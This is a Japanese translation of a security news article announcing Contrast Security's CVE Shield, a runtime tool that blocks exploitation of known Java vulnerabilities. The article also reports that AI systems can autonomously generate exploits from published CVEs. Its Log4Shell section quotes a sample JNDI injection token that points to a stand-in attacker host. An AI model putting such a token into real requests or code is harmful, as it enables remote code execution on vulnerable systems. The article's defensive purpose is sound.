Contrast Securityは、Claude Mythosのような高度なAIモデルを用いて生成される悪用コードの増加から組織を守るために設計された「Contrast CVE Shield」を発表しました。
Contrast CVE Shieldはアプリケーション内部で動作し、既知の脆弱性を悪用しようとする試みを検知・監視・ブロックします。アプリケーションは通常どおり稼働を続けながら、セキュリティチームはどの脆弱性が存在するか、どれが狙われているか、どの悪用試行が防がれたかを可視化できます。
対応する各CVEごとにランタイムのマイクロサンドボックスを用いることで、CVE Shieldは恒久的な修正をテストし展開するまでの間、組織に即時の保護を提供する補完的コントロールとして機能します。
2026年4月、AnthropicはClaude Mythos Preview研究システムが、公開されたCVE識別子と対応するGitコミットを入力するだけで、1日以内に低コストで動作するエクスプロイトを自律的に生成できると報告しました。その5週間以内に、OpenAIとMicrosoftも同様の脆弱性研究システムを公表しています。
Contrast Securityの創業者でOWASP Top 10の考案者でもあるJeff Williams氏は次のように述べています。「従来のパッチ適用サイクルではAIが生成するエクスプロイトのスピードに追いつけないため、各組織はMythos対策タスクフォースを立ち上げています。私たちがCVE Shieldを開発したのは、こうした組織に即時の保護を提供し、CVE公開からパッチ展開までの間にセキュリティチームが時間を稼げるようにするためです。レガシーアプリケーションやベンダー依存関係、リリースウィンドウの凍結があっても、もはや無防備にさらされ続ける必要はありません」
AI速度の悪用に対応する設計
従来のCVE管理では、実運用環境で本当に問題となる5%のCVEを特定し、修正対応のチケットを作成します。しかしチームは依然として、脆弱なコードが実際に動作しているか、到達可能か、悪用可能か、機密性の高い資産に結びついているかを見極めた上で、アップデートのテストと展開が完了するまでアプリケーションを保護しなければなりません。
CVE Shieldは、パッチ適用中のチームにランタイム保護を追加します。あらゆる悪意あるペイロードを識別しようとするのではなく、ネイティブコード実行、リモートクラスのロード、任意のファイル書き込みなど、エクスプロイトが成功のために必ず利用する機能そのものをブロックします。
CVE Shieldはペイロードのシグネチャに頼るのではなく振る舞いを制御するため、対応済みエクスプロイトの新しい亜種であっても同じ保護境界に阻まれます。新たなシグネチャの追加は不要です。
攻撃者が動作するエクスプロイトで脆弱なコードに到達した場合でも、CVE Shieldはそのエクスプロイトが意図した動作を完了するのを阻止できます。
IDCのシニアリサーチマネージャーであるKatie Norton氏はこう続けます。「開発者とセキュリティチームは長年、CVEの優先順位付けに苦労してきました。従来のツールが実際の実行状況ではなく脆弱なバージョンにばかり注目してきたためです。CVEの特定とランタイムでの到達可能性、そして実際の保護とを結びつける機能は、より運用上意味のあるアプリケーションセキュリティに向けた重要な一歩だと言えます」
Log4Shellの事例
最も広く知られているCVEであるLog4Shellを例に見てみましょう。
CVE-2021-44228として追跡されているLog4Shellは、攻撃者が${jndi:ldap://attacker.example/x}のようなトークンをアプリケーションやAPIによってログ記録されるリクエストデータに紛れ込ませることで悪用されます。これにより外部への参照処理がトリガーされ、攻撃者が制御するコードがロードされて実行されてしまいます。
CVE Shieldは脆弱なLog4jのメソッドをラップするため、通常のログ記録処理は継続しつつ、エクスプロイトに必要な機能である外部へのJNDI参照、リモートクラスのロード、プロセス実行が拒否されます。参照処理は攻撃者のサーバーに到達せず、悪意あるクラスもロードされません。
脆弱なコンポーネント自体は正常に動作し続けますが、エクスプロイトは成立しません。
実運用環境向けの設計
CVE Shieldはワークロードに単一のコマンドでインストールでき、直ちにCVEの悪用試行の検知と保護を開始します。追加のアプライアンスやプロキシ、サイドカーは一切不要です。
CVE Shieldは最大限のパフォーマンスを発揮するよう設計されています。CVEが悪用されない限り影響はなく、悪用防止処理が加える遅延はわずか12ナノ秒にとどまるため、CVE Shieldによるパフォーマンスへの影響はほぼ測定不能なレベルです。単一のホストでも、多様で大規模なインフラ全体でも容易に導入できます。
アプリケーションが起動すると、CVE Shieldはそのライブラリ構成を一覧化し、該当する脆弱なバージョンに対してシールドを有効化します。Contrast Agent Operatorを使えば、サービスごとのコード変更やDockerfileの修正なしに、KubernetesおよびOpenShiftのワークロード全体への展開を自動化できます。
CVE Shieldはまた、脆弱性に関する推測をランタイムの実証データに置き換えます。どの脆弱なライブラリが存在するか、どの脆弱なコードパスが実際に実行されているか、そしていつ悪用が試みられたかをセキュリティチームに示します。
これにより各チームは、バックログのすべての項目を一律に緊急扱いするのではなく、実際にアプリケーションが抱えるリスクに絞って修正対応に注力できます。Contrastは、実運用環境から得られるアーキテクチャ、脅威、ビジネス上の文脈に基づいて、CVEに対する動的なリスクスコアを提供します。
CVE ShieldはContrast Application Detection and Responseの一部です。初回展開では、Log4Shell、Spring4Shell、Apache Commons Collectionsのデシリアライゼーション脆弱性を含む、60件の重大なJava脆弱性に対してローカライズされたCVEサンドボックス化を提供します。Contrastは今後、深刻度が高い・重大なその他のCVEにも対応範囲を拡大し、新たな脆弱性が判明するたびに継続的に保護機能を追加していく予定です。Go、Node.js、.NET、Pythonへの対応は2026年後半に予定されています。
翻訳元: https://www.helpnetsecurity.com/2026/07/29/contrast-security-cve-shield/
